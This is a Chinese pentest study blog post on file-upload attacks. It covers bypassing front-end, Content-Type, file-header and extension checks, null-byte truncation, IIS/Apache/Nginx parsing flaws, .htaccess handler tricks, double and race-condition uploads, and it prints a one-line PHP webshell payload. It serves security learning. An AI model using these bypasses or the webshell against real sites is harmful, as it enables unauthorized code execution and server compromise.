渗透测试学习8:文件上传攻击

文件上传攻击简介

特点:利⽤简单、危害⼤。
产⽣原因:缺少必要的校验。
找⽂件上传点(关键):管理后台页面、⽤户后台页面、前台页面、⽬录扫描 ==>扫描到后台不需要登陆就能访问的上传页面。
测试思维:根据已有信息、条件分析目标网站架构,再以此架构为基础,从我们已经掌握的知识中过滤出适合此架构的攻击方法。
测试流程:先分析⽬标架构网站使⽤后端语⾔、中间件、⽬标服务器类型、版本等,之后根据分析结果使⽤已有⼿段依次测试

前端验证的突破

如何探查是前端验证:右键查看源代码或者直接上传⽂件,或者如果网站非常快的(没有请求包)弹出提示。
前端验证的例子(代码片段):

 function checkFile() { 
    var file = document.getElementsByName('upload_file')[0].value; 
    if (file == null || file == "") { 
         alert("请选择要上传的⽂件!"); 
         return false; 
      }
      //定义允许上传的⽂件类型 
    var allow_ext = ".jpg|.png|.gif"; 
    //提取上传⽂件的类型 
    var ext_name = file.substring(file.lastIndexOf(".")); 
    //判断上传⽂件类型是否允许上传 
    if (allow_ext.indexOf(ext_name) == -1) { 
         var errMsg = "该⽂件不允许上传,请上传" + allow_ext + "类型的⽂件,当前⽂件类型为:" + ext_name;       
         alert(errMsg); 
         return false;
      }
 }

前端验证绕过方法:
通过浏览器审查元素对⽹页的代码查看,找到对文件格式或大小的限制然后修改即可;
通过Burpsuite工具对浏览器进行代理,抓包对包里的内容进⾏修改。
浏览器禁用JavaScript脚本。

文件内容检查的突破

content-type绕过:

Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件。
使用burp suite抓包直接修改content-type值来绕过content-type检查。
content-type检查实例代码:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file'] ['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

文件头验证绕过:

gif文件十六进制表示后的文件头是gif89a。
所以我们可以在自己想上传的php文件中添加这个头部来绕过文件头部检查。
例子:

gif89a 
<?php 
phpinfo(); 
?>

不过上穿上去的文件很可能是gif格式的,可以通过文件包含来利用。

getimagesize()检查和php_exif模块检查绕过

这两个效果差不多,就是获取我们输入的图片的各种信息。
绕过方法:先改content-type,在⽂件头部添加gif89a。

⼆次渲染绕过:

⼆次渲染:就是根据⽤户上传的图⽚,新⽣成⼀个图⽚,将原始图⽚删除,将新图⽚添加到数据库中。
绕过方法:寻找渲染前后不变的地⽅,替换成⼀句话木马。

白名单验证的突破

白名单总体安全性高,这里只提供一些方案。

修改MIME类型绕过白名单限制 (Content-type验证):

与上一部分的一致。使用burp suite抓包直接修改content-type值来绕过content-type检查。

00截断绕过白名单限制:

条件:php版本⼩于5.3.4,php的magic_quotes_gpc为OFF状态
magic_quotes_gpc:
使用addslashes()对输入数据进行处理,addslashes()是在每个双引号(")前添加反斜杠。

0x00(或者%00)可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00(或者%00),就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。
例子:

1.php%001.jpg//判断时为jpg,解析后为1.php

用法:
GET接收情况的时候,直接用 %00 就可以。
POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL编码,也就是URL-decode。原因: %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改hex(十六进制)值为 00 (URL decode)进行截断。

注:有的时候在包中直接改文件名,有可能失败,要是有路径的话可以在路径里改。例如:数据包中存在 path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00

为什么修改path才可以?

因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。

那么,攻击者修改了path以后的拼接结果为:
uploads/aaa.php%00/20190818.php
移动文件的时候会将文件保存为:uploads/aaa.php
从而达到Getshell效果,即上传的文件格式为.php

解析漏洞绕过白名单

Apache解析漏洞(双重拓展名):apache ⽂件名解析时,是从后⾯开始检查后缀,按最后⼀个合法后缀执行。如: shell.php.xxx 因为 xxx 不被apache解析,所以apache会跳过 .xxx ,⽽解析最后⼀个后缀名,即.php,从⽽把这个⽂件当php文件解析了。

IIS解析漏洞:
IIS6.0 在解析 asp 格式的时候有两个解析漏洞.
一个是如果目录名以".asp 、.asa、.cer、.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。eg: test.asp/1.jpg,另一个是只要文件名中含有".asp;、.asa;、.cer;、.cdx;会优先按 asp
来解析 eg:1.asp;.jpg
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞, 对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析。eg:http://www.target.com/upload/1.jpg/1adf.php

大小写或近似绕过

利用字典进行暴力破解,查看目标网站的白名单。

黑名单验证的突破

黑名单总体安全性不高,这里提供一些绕过方案。

利用操作系统特性

windows操作系统对⼤小写不敏感,即php和Php在windows看来是⼀样的 Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上⽣成⼀个test.php的⽂件,其中内容和所上传文件内容相同,并被解析。即上传⽂件xxx.php::$DATA = xxx.php
Windows下文件名结尾加⼊.,空格,<,·>,>>>,0x81-0xff等字符,会被windows⾃动去除

利用语言特性

php语言可解析后缀:php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp语言可解析后缀:jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
asp/aspx语言可解析后缀:asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

利用中间件特性

即解析漏洞,下一节详讲。

代码不严谨利用

双写绕过
对于空格,点只做了单次过滤

解析漏洞

如何探查目标是什么类型的web服务器

通过查看相应的http请求,会在头部暴露出web服务器类型。
安装浏览器插件:wappalyzer
通过第三⽅网站:https://www.yunsee.cn/

IIS漏洞

IIS5.X~6.0
⽬录解析漏洞:服务器默认会把.asp,.asa⽬录下的文件都解析成asp文件。前提是可以控制文件上传的路径或者是⽂件名。eg:xxx.asp/xxx.jpg
⽂件命解析漏洞:服务器默认不会取解析分号后面的内容。前提是可以控制⽂件名。xx.asp;.jpg
畸形⽂件命解析漏洞:iis6.0下的可执行⽂件还有 asa、cer、cdx ,注意,不⼀定能解析aspx,因为aspx是.net环境。
IIS7.0/7.5
利⽤解析图片中的代码上传webshell 如果开启Fast-CGI模式,上传1.jpg,内容如下:

<?PHP fputs(fopen('dark5.php','w'),'<?php eval($_POST[cmd])?>');?>

结果就是会在其目录下建立一个dark5.php内容是一句话木马。

特殊情况:fck编译器+iis
上传a.aspx.a.aspx.jpg..jpg可绕过上传a.aspx

Apache

不可识别解析后缀:
从右向左解析,遇到不认识的跳过继续向左。

.htaccess漏洞:
.htaccess⽂件是Apache服务器中的⼀个配置⽂件,它负责相关⽬录下的⽹页配置。通过htaccess⽂件,可以帮 我们实现:网页301重定向、⾃定义404错误页⾯、改变⽂件扩展名、允许/阻⽌特定的用户或者⽬录的访问、 禁⽌⽬录列表、配置默认⽂档等功能。
前提:该漏洞适⽤于⽬标web服务器为apache,并且.htaccess可以被上传执行的情况。
当.htaccess⽂件内容为SetHandler application/x-httpd-php时,即设置当前⽬录所有⽂件都使⽤PHP解析,那么⽆论上传任何⽂件,只要⽂件内容符合PHP语⾔代码规范,就会被当作PHP执⾏。不符合则报错。 在Apache中如果需要启动 .htaccess,必须在http.conf中设置 AllowOverride。

<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
//指定1.jpg当成php解析

Nginx

00阶段;IIS中的CGI漏洞。

双文件上传和竞争上传

双文件上传

应用场景:南方/良精CMS,或者正则默认匹配第⼀个filename的情况下。
利⽤原理:服务端默认取第⼆个⽂件作为真正的上传文件,但是在检测时只检测了第⼀个⽂件,或者只验证了第⼀个filename 的拓展名。
利用方法:直接在审查元素中添加⼀个上传表单(改前端)或者burp抓包之后在数据包中添加(抓包添加)。

竞争上传

基本概念:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

漏洞逻辑:首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件再删掉。

攻击思路:首先上传一个php文件,当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

防护手段:
对于文件上传类的条件竞争漏洞,一定要先充分检查之后再进行上传。而不是先上传,之后再检测。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
有道云笔记是一款文件管理和云存储平台,用户可以将各种文件至云端进行保存和管理。针对有道云笔记的渗透测试文件核题,主要是测试目标是否存在文件漏洞。 文件漏洞是指攻击者通过上恶意文件或者利用上功能绕过限制,成功在目标服务器上执行任意代码或者获取未授权的访问权限。攻击者可通过上特定类型的文件,利用后台执行逻辑漏洞或者文件解析漏洞,从而实现对目标系统的攻击或控制。 针对有道云笔记的文件漏洞,常见的测试方法包括: 1. 尝试上各种类型的文件测试能否上系统可执行文件、脚本文件或者危险的文件类型。 2. 绕过后台验证:尝试修改请求报文、绕过文件类型检查、篡改上文件路径等,测试服务器是否能正确地执行上操作的检查。 3. 文件解析漏洞测试测试文件是否能够被服务器直接解析,并且触发对应的解析漏洞。 4. 文件重命名与遍历:测试能否修改上文件文件名,并尝试通过../等目录遍历操作访问到其他敏感文件。 针对发现的漏洞和问题,需要将测试结果整理成详细的渗透测试报告,包括漏洞描述、危害程度评估和修复建议等。然后与有道云笔记的开发团队和管理员进行沟通,提供测试结果和修复建议,并跟踪漏洞修复进展。 及时发现和修复文件漏洞,对于保护用户数据和防止潜在的攻击十分重要。因此,有道云笔记应该充分重视渗透测试文件核题,加强安全意识和漏洞修复的流程,确保用户数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值